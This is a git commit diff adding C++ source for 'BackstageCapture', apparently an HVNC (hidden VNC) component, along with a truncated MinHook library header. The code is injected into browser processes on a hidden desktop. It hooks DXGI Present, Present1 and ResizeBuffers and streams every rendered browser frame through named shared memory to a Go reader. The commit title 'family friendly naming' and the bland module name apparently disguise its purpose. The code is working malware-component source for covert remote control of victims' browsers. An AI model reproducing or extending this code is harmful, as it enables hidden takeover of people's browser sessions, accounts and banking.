family friendly naming

This commit is contained in:
KingKDot
2026-05-22 20:34:20 -05:00
parent 238ea09214
commit 38cdf609b0
59 changed files with 110 additions and 249 deletions
+630
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@@ -0,0 +1,630 @@
//===============================================================================================//
// BackstageCapture — DXGI SwapChain::Present hook implementation.
//
// Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention
// (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)).
//
// Strategy:
// 1. Create a temporary D3D11 device + swapchain to get the vtable address
// of IDXGISwapChain::Present (vtable index 8) and Present1 (index 22).
// 2. Hook both via MinHook.
// 3. On each Present call, use the swapchain's GetBuffer(0) to get the
// backbuffer as an ID3D11Texture2D, copy it to a staging texture,
// Map it, and write the BGRA pixels into the shared memory section.
// 4. Signal the named event so the Go reader knows a frame is ready.
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <d3d11.h>
#include <dxgi1_2.h>
#include <stdio.h>
#include <string.h>
#include "MinHook.h"
#include "DXGICapture.h"
#ifdef __cplusplus
extern "C" {
#endif
//-----------------------------------------------------------------------------------------------//
// Forward declarations
//-----------------------------------------------------------------------------------------------//
typedef HRESULT(STDMETHODCALLTYPE* PFN_Present)(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
typedef HRESULT(STDMETHODCALLTYPE* PFN_Present1)(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
typedef HRESULT(STDMETHODCALLTYPE* PFN_ResizeBuffers)(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
//-----------------------------------------------------------------------------------------------//
// Globals
//-----------------------------------------------------------------------------------------------//
static PFN_Present g_OrigPresent = NULL;
static PFN_Present1 g_OrigPresent1 = NULL;
static PFN_ResizeBuffers g_OrigResizeBuffers = NULL;
// Staging resources — double-buffered to avoid blocking Map calls
static ID3D11Device* g_Device = NULL;
static ID3D11DeviceContext* g_Context = NULL;
static ID3D11Texture2D* g_Staging[2] = {NULL, NULL};
static UINT g_StagingW = 0;
static UINT g_StagingH = 0;
static DXGI_FORMAT g_StagingFmt = DXGI_FORMAT_UNKNOWN;
static UINT g_WriteIdx = 0; // CopyResource target index
static BOOL g_HasPrevFrame = FALSE; // previous staging has valid data
// Shared memory
static HANDLE g_ShmHandle = NULL;
static void* g_ShmView = NULL;
static SIZE_T g_ShmSize = 0;
static HANDLE g_FrameEvent = NULL;
static UINT64 g_FrameSeq = 0;
// Frequency for timestamps
static LARGE_INTEGER g_PerfFreq;
// Rate limiting — don't copy more than ~60 fps worth of frames
static LARGE_INTEGER g_LastFrameTime;
static const LONGLONG g_MinFrameIntervalUs = 16000; // ~60fps
// Critical section for thread safety
static CRITICAL_SECTION g_Lock;
static BOOL g_LockInitialized = FALSE;
// Primary swap chain tracking — only capture the largest one in the GPU process
static IDXGISwapChain* g_PrimarySwapChain = NULL;
static UINT g_PrimaryArea = 0;
static UINT g_PrimaryResetCounter = 0;
// Minimum backbuffer dimensions worth capturing (skip internal surfaces)
#define MIN_CAPTURE_WIDTH 128
#define MIN_CAPTURE_HEIGHT 128
#define PRIMARY_RESET_INTERVAL 300 // re-evaluate primary every ~5s at 60fps
//-----------------------------------------------------------------------------------------------//
// Helpers
//-----------------------------------------------------------------------------------------------//
#ifndef ENABLE_DEBUG_LOGGING
#define ENABLE_DEBUG_LOGGING 1
#endif
static void DebugLog(const char* fmt, ...) {
#if ENABLE_DEBUG_LOGGING
char buf[1024];
va_list args;
va_start(args, fmt);
vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
OutputDebugStringA(buf);
#else
(void)fmt;
#endif
}
static UINT64 GetTimestampNs(void) {
LARGE_INTEGER now;
QueryPerformanceCounter(&now);
return (UINT64)((double)now.QuadPart * 1000000000.0 / (double)g_PerfFreq.QuadPart);
}
static void BuildShmName(char* out, size_t outLen) {
DWORD pid = GetCurrentProcessId();
snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid);
}
static void BuildEventName(char* out, size_t outLen) {
DWORD pid = GetCurrentProcessId();
snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid);
}
//-----------------------------------------------------------------------------------------------//
// Shared memory management
//-----------------------------------------------------------------------------------------------//
static BOOL EnsureSharedMemory(UINT width, UINT height) {
UINT stride = width * 4;
SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height;
if (g_ShmView && g_ShmSize >= needed) {
return TRUE;
}
if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
g_ShmSize = 0;
char shmName[128];
BuildShmName(shmName, sizeof(shmName));
wchar_t wShmName[128];
MultiByteToWideChar(CP_ACP, 0, shmName, -1, wShmName, 128);
DWORD sizeHigh = (DWORD)(needed >> 32);
DWORD sizeLow = (DWORD)(needed & 0xFFFFFFFF);
g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName);
if (!g_ShmHandle) {
DebugLog("[BackstageCapture] CreateFileMappingW failed: %lu\n", GetLastError());
return FALSE;
}
g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed);
if (!g_ShmView) {
DebugLog("[BackstageCapture] MapViewOfFile failed: %lu\n", GetLastError());
CloseHandle(g_ShmHandle);
g_ShmHandle = NULL;
return FALSE;
}
g_ShmSize = needed;
if (!g_FrameEvent) {
char evtName[128];
BuildEventName(evtName, sizeof(evtName));
wchar_t wEvtName[128];
MultiByteToWideChar(CP_ACP, 0, evtName, -1, wEvtName, 128);
g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName);
}
DebugLog("[BackstageCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height);
return TRUE;
}
//-----------------------------------------------------------------------------------------------//
// Staging texture management (double-buffered)
//-----------------------------------------------------------------------------------------------//
static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FORMAT fmt) {
if (g_Staging[0] && g_Staging[1] && g_StagingW == width && g_StagingH == height && g_StagingFmt == fmt) {
return TRUE;
}
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
g_HasPrevFrame = FALSE;
g_WriteIdx = 0;
// Normalise typeless formats to their UNORM equivalents for staging
DXGI_FORMAT stageFmt = fmt;
switch (fmt) {
case DXGI_FORMAT_B8G8R8A8_TYPELESS: stageFmt = DXGI_FORMAT_B8G8R8A8_UNORM; break;
case DXGI_FORMAT_R8G8B8A8_TYPELESS: stageFmt = DXGI_FORMAT_R8G8B8A8_UNORM; break;
case DXGI_FORMAT_R10G10B10A2_TYPELESS: stageFmt = DXGI_FORMAT_R10G10B10A2_UNORM; break;
case DXGI_FORMAT_R16G16B16A16_TYPELESS: stageFmt = DXGI_FORMAT_R16G16B16A16_FLOAT; break;
default: break;
}
D3D11_TEXTURE2D_DESC desc;
ZeroMemory(&desc, sizeof(desc));
desc.Width = width;
desc.Height = height;
desc.MipLevels = 1;
desc.ArraySize = 1;
desc.Format = stageFmt;
desc.SampleDesc.Count = 1;
desc.SampleDesc.Quality = 0;
desc.Usage = D3D11_USAGE_STAGING;
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
desc.BindFlags = 0;
desc.MiscFlags = 0;
HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]);
if (FAILED(hr)) {
DebugLog("[BackstageCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
return FALSE;
}
hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]);
if (FAILED(hr)) {
DebugLog("[BackstageCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
g_Staging[0]->Release(); g_Staging[0] = NULL;
return FALSE;
}
g_StagingW = width;
g_StagingH = height;
g_StagingFmt = fmt;
DebugLog("[BackstageCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt);
return TRUE;
}
// Is this a 32-bit-per-pixel BGRA/RGBA format we can directly memcpy?
static BOOL IsCopyable32bpp(DXGI_FORMAT fmt) {
switch (fmt) {
case DXGI_FORMAT_B8G8R8A8_UNORM:
case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB:
case DXGI_FORMAT_B8G8R8A8_TYPELESS:
case DXGI_FORMAT_R8G8B8A8_UNORM:
case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB:
case DXGI_FORMAT_R8G8B8A8_TYPELESS:
return TRUE;
default:
return FALSE;
}
}
//-----------------------------------------------------------------------------------------------//
// Core frame capture — called from Present hooks (SEH-protected)
//-----------------------------------------------------------------------------------------------//
static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
// Rate limit
LARGE_INTEGER now;
QueryPerformanceCounter(&now);
LONGLONG elapsedUs = (now.QuadPart - g_LastFrameTime.QuadPart) * 1000000 / g_PerfFreq.QuadPart;
if (elapsedUs < g_MinFrameIntervalUs) {
return;
}
g_LastFrameTime = now;
// Get the backbuffer
ID3D11Texture2D* backbuffer = NULL;
HRESULT hr = pSwapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (void**)&backbuffer);
if (FAILED(hr) || !backbuffer) {
return;
}
// Get device/context from the backbuffer if not cached
if (!g_Device) {
((ID3D11Resource*)backbuffer)->GetDevice(&g_Device);
if (g_Device) {
g_Device->GetImmediateContext(&g_Context);
}
}
if (!g_Device || !g_Context) {
backbuffer->Release();
return;
}
D3D11_TEXTURE2D_DESC bbDesc;
backbuffer->GetDesc(&bbDesc);
UINT w = bbDesc.Width;
UINT h = bbDesc.Height;
if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) {
backbuffer->Release();
return;
}
// Skip tiny internal surfaces (tooltips, scrollbars, compositor layers)
if (w < MIN_CAPTURE_WIDTH || h < MIN_CAPTURE_HEIGHT) {
backbuffer->Release();
return;
}
// Track the primary (largest) swap chain — Chrome GPU process serves many
UINT area = w * h;
g_PrimaryResetCounter++;
if (g_PrimaryResetCounter >= PRIMARY_RESET_INTERVAL) {
g_PrimarySwapChain = NULL;
g_PrimaryArea = 0;
g_PrimaryResetCounter = 0;
}
if (g_PrimarySwapChain == NULL || pSwapChain == g_PrimarySwapChain) {
g_PrimarySwapChain = pSwapChain;
if (area > g_PrimaryArea) g_PrimaryArea = area;
} else if (area > g_PrimaryArea) {
g_PrimarySwapChain = pSwapChain;
g_PrimaryArea = area;
} else {
backbuffer->Release();
return;
}
// Only capture 32bpp BGRA/RGBA formats we can handle
if (!IsCopyable32bpp(bbDesc.Format)) {
backbuffer->Release();
return;
}
if (!EnsureStaging(g_Device, w, h, bbDesc.Format)) {
backbuffer->Release();
return;
}
if (!EnsureSharedMemory(w, h)) {
backbuffer->Release();
return;
}
UINT writeIdx = g_WriteIdx;
UINT readIdx = 1 - writeIdx;
// Copy backbuffer to the write staging texture (async GPU op, returns immediately)
if (bbDesc.SampleDesc.Count > 1) {
D3D11_TEXTURE2D_DESC resolveDesc = bbDesc;
resolveDesc.SampleDesc.Count = 1;
resolveDesc.SampleDesc.Quality = 0;
resolveDesc.Usage = D3D11_USAGE_DEFAULT;
resolveDesc.BindFlags = 0;
resolveDesc.CPUAccessFlags = 0;
resolveDesc.MiscFlags = 0;
ID3D11Texture2D* resolved = NULL;
hr = g_Device->CreateTexture2D(&resolveDesc, NULL, &resolved);
if (SUCCEEDED(hr) && resolved) {
g_Context->ResolveSubresource(resolved, 0, backbuffer, 0, bbDesc.Format);
g_Context->CopyResource(g_Staging[writeIdx], resolved);
resolved->Release();
} else {
backbuffer->Release();
return;
}
} else {
g_Context->CopyResource(g_Staging[writeIdx], backbuffer);
}
backbuffer->Release();
// Flip staging index for next frame
g_WriteIdx = readIdx;
// On first frame, nothing to read yet
if (!g_HasPrevFrame) {
g_HasPrevFrame = TRUE;
return;
}
// Map the READ staging (previous frame) — non-blocking to avoid stalling Chrome's GPU thread
D3D11_MAPPED_SUBRESOURCE mapped;
hr = g_Context->Map(g_Staging[readIdx], 0, D3D11_MAP_READ, D3D11_MAP_FLAG_DO_NOT_WAIT, &mapped);
if (hr == DXGI_ERROR_WAS_STILL_DRAWING) {
return; // GPU hasn't finished the previous copy — skip
}
if (FAILED(hr)) {
DebugLog("[BackstageCapture] Map failed: 0x%08x\n", hr);
return;
}
UINT dstStride = w * 4;
UINT srcPitch = mapped.RowPitch;
BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader);
BYTE* src = (BYTE*)mapped.pData;
for (UINT y = 0; y < h; y++) {
memcpy(dst + (SIZE_T)y * dstStride, src + (SIZE_T)y * srcPitch, dstStride);
}
g_Context->Unmap(g_Staging[readIdx], 0);
// Write header (AFTER pixel data + barrier so reader sees consistent data)
g_FrameSeq++;
HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView;
hdr->magic = HVNC_FRAME_MAGIC;
hdr->version = HVNC_FRAME_VERSION;
hdr->width = w;
hdr->height = h;
hdr->stride = dstStride;
hdr->format = (UINT32)bbDesc.Format;
hdr->frameSeq = g_FrameSeq;
hdr->timestampNs = GetTimestampNs();
hdr->pid = GetCurrentProcessId();
hdr->reserved = 0;
MemoryBarrier();
if (g_FrameEvent) {
SetEvent(g_FrameEvent);
}
}
static void CaptureFrame(IDXGISwapChain* pSwapChain) {
if (!g_LockInitialized) return;
if (!TryEnterCriticalSection(&g_Lock)) return; // skip if ResizeBuffers holds the lock
__try {
CaptureFrameInner(pSwapChain);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DebugLog("[BackstageCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n",
GetExceptionCode());
}
LeaveCriticalSection(&g_Lock);
}
//-----------------------------------------------------------------------------------------------//
// Hooked functions
//-----------------------------------------------------------------------------------------------//
static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags) {
CaptureFrame(pSwapChain);
return g_OrigPresent(pSwapChain, SyncInterval, Flags);
}
static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters) {
CaptureFrame((IDXGISwapChain*)pSwapChain);
return g_OrigPresent1(pSwapChain, SyncInterval, PresentFlags, pPresentParameters);
}
static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags) {
EnterCriticalSection(&g_Lock);
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
g_StagingW = 0; g_StagingH = 0; g_StagingFmt = DXGI_FORMAT_UNKNOWN;
g_HasPrevFrame = FALSE; g_WriteIdx = 0;
g_PrimarySwapChain = NULL; g_PrimaryArea = 0; g_PrimaryResetCounter = 0;
if (g_Context) { g_Context->Release(); g_Context = NULL; }
if (g_Device) { g_Device->Release(); g_Device = NULL; }
LeaveCriticalSection(&g_Lock);
return g_OrigResizeBuffers(pSwapChain, BufferCount, Width, Height, NewFormat, SwapChainFlags);
}
//-----------------------------------------------------------------------------------------------//
// vtable discovery — create a dummy swapchain to get Present address
//-----------------------------------------------------------------------------------------------//
static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeBuffers) {
*ppPresent = NULL;
*ppPresent1 = NULL;
*ppResizeBuffers = NULL;
HMODULE hD3D11 = GetModuleHandleA("d3d11.dll");
if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll");
if (!hD3D11) {
DebugLog("[BackstageCapture] d3d11.dll not available\n");
return FALSE;
}
typedef HRESULT(WINAPI* PFN_D3D11CreateDeviceAndSwapChain)(
IDXGIAdapter*, D3D_DRIVER_TYPE, HMODULE, UINT, const D3D_FEATURE_LEVEL*,
UINT, UINT, const DXGI_SWAP_CHAIN_DESC*, IDXGISwapChain**, ID3D11Device**,
D3D_FEATURE_LEVEL*, ID3D11DeviceContext**);
PFN_D3D11CreateDeviceAndSwapChain pCreate =
(PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain");
if (!pCreate) {
DebugLog("[BackstageCapture] D3D11CreateDeviceAndSwapChain not found\n");
return FALSE;
}
HWND hWnd = GetDesktopWindow();
DXGI_SWAP_CHAIN_DESC scd;
ZeroMemory(&scd, sizeof(scd));
scd.BufferCount = 1;
scd.BufferDesc.Width = 2;
scd.BufferDesc.Height = 2;
scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
scd.BufferDesc.RefreshRate.Numerator = 60;
scd.BufferDesc.RefreshRate.Denominator = 1;
scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
scd.OutputWindow = hWnd;
scd.SampleDesc.Count = 1;
scd.Windowed = TRUE;
scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
IDXGISwapChain* pSwapChain = NULL;
ID3D11Device* pDevice = NULL;
ID3D11DeviceContext* pCtx = NULL;
D3D_FEATURE_LEVEL featureLevel;
HRESULT hr = pCreate(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, NULL, 0,
D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
if (FAILED(hr) || !pSwapChain) {
hr = pCreate(NULL, D3D_DRIVER_TYPE_WARP, NULL, 0, NULL, 0,
D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
}
if (FAILED(hr) || !pSwapChain) {
DebugLog("[BackstageCapture] Failed to create dummy swapchain: 0x%08x\n", hr);
if (pCtx) pCtx->Release();
if (pDevice) pDevice->Release();
if (pSwapChain) pSwapChain->Release();
return FALSE;
}
// Extract vtable pointers via raw vtable read
// IDXGISwapChain: Present is at index 8, ResizeBuffers at index 13
void** vtable = *(void***)pSwapChain;
*ppPresent = vtable[8];
*ppResizeBuffers = vtable[13];
// Try to get Present1 from IDXGISwapChain1
IDXGISwapChain1* pSwapChain1 = NULL;
hr = pSwapChain->QueryInterface(__uuidof(IDXGISwapChain1), (void**)&pSwapChain1);
if (SUCCEEDED(hr) && pSwapChain1) {
void** vtable1 = *(void***)pSwapChain1;
// IDXGISwapChain1: Present1 is at vtable index 22
*ppPresent1 = vtable1[22];
pSwapChain1->Release();
}
pCtx->Release();
pDevice->Release();
pSwapChain->Release();
DebugLog("[BackstageCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n",
*ppPresent, *ppPresent1, *ppResizeBuffers);
return TRUE;
}
//-----------------------------------------------------------------------------------------------//
// Public API
//-----------------------------------------------------------------------------------------------//
void InstallDXGICapture(void) {
QueryPerformanceFrequency(&g_PerfFreq);
QueryPerformanceCounter(&g_LastFrameTime);
InitializeCriticalSection(&g_Lock);
g_LockInitialized = TRUE;
MH_STATUS status = MH_Initialize();
if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) {
DebugLog("[BackstageCapture] MH_Initialize failed: %d\n", status);
return;
}
void* pPresent = NULL;
void* pPresent1 = NULL;
void* pResizeBuffers = NULL;
if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) {
DebugLog("[BackstageCapture] Failed to discover DXGI vtable\n");
return;
}
if (pPresent) {
status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent);
if (status == MH_OK) {
MH_EnableHook(pPresent);
DebugLog("[BackstageCapture] Present hooked at %p\n", pPresent);
} else {
DebugLog("[BackstageCapture] MH_CreateHook Present failed: %d\n", status);
}
}
if (pPresent1) {
status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1);
if (status == MH_OK) {
MH_EnableHook(pPresent1);
DebugLog("[BackstageCapture] Present1 hooked at %p\n", pPresent1);
} else {
DebugLog("[BackstageCapture] MH_CreateHook Present1 failed: %d\n", status);
}
}
if (pResizeBuffers) {
status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers);
if (status == MH_OK) {
MH_EnableHook(pResizeBuffers);
DebugLog("[BackstageCapture] ResizeBuffers hooked at %p\n", pResizeBuffers);
} else {
DebugLog("[BackstageCapture] MH_CreateHook ResizeBuffers failed: %d\n", status);
}
}
DebugLog("[BackstageCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId());
}
void RemoveDXGICapture(void) {
if (g_OrigPresent) { MH_DisableHook((LPVOID)g_OrigPresent); MH_RemoveHook((LPVOID)g_OrigPresent); }
if (g_OrigPresent1) { MH_DisableHook((LPVOID)g_OrigPresent1); MH_RemoveHook((LPVOID)g_OrigPresent1); }
if (g_OrigResizeBuffers) { MH_DisableHook((LPVOID)g_OrigResizeBuffers); MH_RemoveHook((LPVOID)g_OrigResizeBuffers); }
MH_Uninitialize();
if (g_LockInitialized) {
EnterCriticalSection(&g_Lock);
}
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
if (g_Context) { g_Context->Release(); g_Context = NULL; }
if (g_Device) { g_Device->Release(); g_Device = NULL; }
if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
if (g_FrameEvent) { CloseHandle(g_FrameEvent); g_FrameEvent = NULL; }
if (g_LockInitialized) {
LeaveCriticalSection(&g_Lock);
DeleteCriticalSection(&g_Lock);
g_LockInitialized = FALSE;
}
DebugLog("[BackstageCapture] Cleaned up\n");
}
#ifdef __cplusplus
}
#endif
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//===============================================================================================//
// BackstageCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
//
// Injected into browser processes running on the hidden desktop. Hooks
// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
// to a named shared-memory section so the Go capture thread can read them
// directly instead of using the slow PrintWindow API.
//
// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data):
// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows]
//
// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame.
//===============================================================================================//
#ifndef _DXGI_CAPTURE_H
#define _DXGI_CAPTURE_H
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
// Initialize DXGI Present hook. Call from DllMain(DLL_PROCESS_ATTACH).
void InstallDXGICapture(void);
// Remove hook and clean up shared memory. Call from DllMain(DLL_PROCESS_DETACH).
void RemoveDXGICapture(void);
#ifdef __cplusplus
}
#endif
// Shared memory header — must match Go-side definition exactly.
#pragma pack(push, 1)
typedef struct {
UINT32 magic; // 'HVNC' = 0x434E5648
UINT32 version; // 1
UINT32 width;
UINT32 height;
UINT32 stride; // bytes per row (width * 4, may be padded)
UINT32 format; // DXGI_FORMAT value (87 = B8G8R8A8_UNORM)
UINT64 frameSeq; // monotonically increasing frame counter
UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
UINT32 pid; // process ID that produced this frame
UINT32 reserved; // alignment padding
} HVNCFrameHeader;
#pragma pack(pop)
#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC'
#define HVNC_FRAME_VERSION 1
// Maximum frame dimensions we support (prevents runaway allocation)
#define HVNC_MAX_WIDTH 7680
#define HVNC_MAX_HEIGHT 4320
// Shared memory name format — {pid} is the decimal process ID
// e.g. "Local\hvnc_frame_12345"
#define HVNC_SHM_PREFIX "Local\\hvnc_frame_"
#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_"
#endif // _DXGI_CAPTURE_H
+185
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/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
#error MinHook supports only x86 and x64 systems.
#endif
#include <windows.h>
// MinHook Error Codes.
typedef enum MH_STATUS
{
// Unknown error. Should not be returned.
MH_UNKNOWN = -1,
// Successful.
MH_OK = 0,
// MinHook is already initialized.
MH_ERROR_ALREADY_INITIALIZED,
// MinHook is not initialized yet, or already uninitialized.
MH_ERROR_NOT_INITIALIZED,
// The hook for the specified target function is already created.
MH_ERROR_ALREADY_CREATED,
// The hook for the specified target function is not created yet.
MH_ERROR_NOT_CREATED,
// The hook for the specified target function is already enabled.
MH_ERROR_ENABLED,
// The hook for the specified target function is not enabled yet, or already
// disabled.
MH_ERROR_DISABLED,
// The specified pointer is invalid. It points the address of non-allocated
// and/or non-executable region.
MH_ERROR_NOT_EXECUTABLE,
// The specified target function cannot be hooked.
MH_ERROR_UNSUPPORTED_FUNCTION,
// Failed to allocate memory.
MH_ERROR_MEMORY_ALLOC,
// Failed to change the memory protection.
MH_ERROR_MEMORY_PROTECT,
// The specified module is not loaded.
MH_ERROR_MODULE_NOT_FOUND,
// The specified function is not found.
MH_ERROR_FUNCTION_NOT_FOUND
}
MH_STATUS;
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
// MH_QueueEnableHook or MH_QueueDisableHook.
#define MH_ALL_HOOKS NULL
#ifdef __cplusplus
extern "C" {
#endif
// Initialize the MinHook library. You must call this function EXACTLY ONCE
// at the beginning of your program.
MH_STATUS WINAPI MH_Initialize(VOID);
// Uninitialize the MinHook library. You must call this function EXACTLY
// ONCE at the end of your program.
MH_STATUS WINAPI MH_Uninitialize(VOID);
// Creates a Hook for the specified target function, in disabled state.
// Parameters:
// pTarget [in] A pointer to the target function, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
// ppTarget [out] A pointer to the target function, which will be used
// with other functions.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
// Removes an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
// Enables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// enabled in one go.
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
// Disables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// disabled in one go.
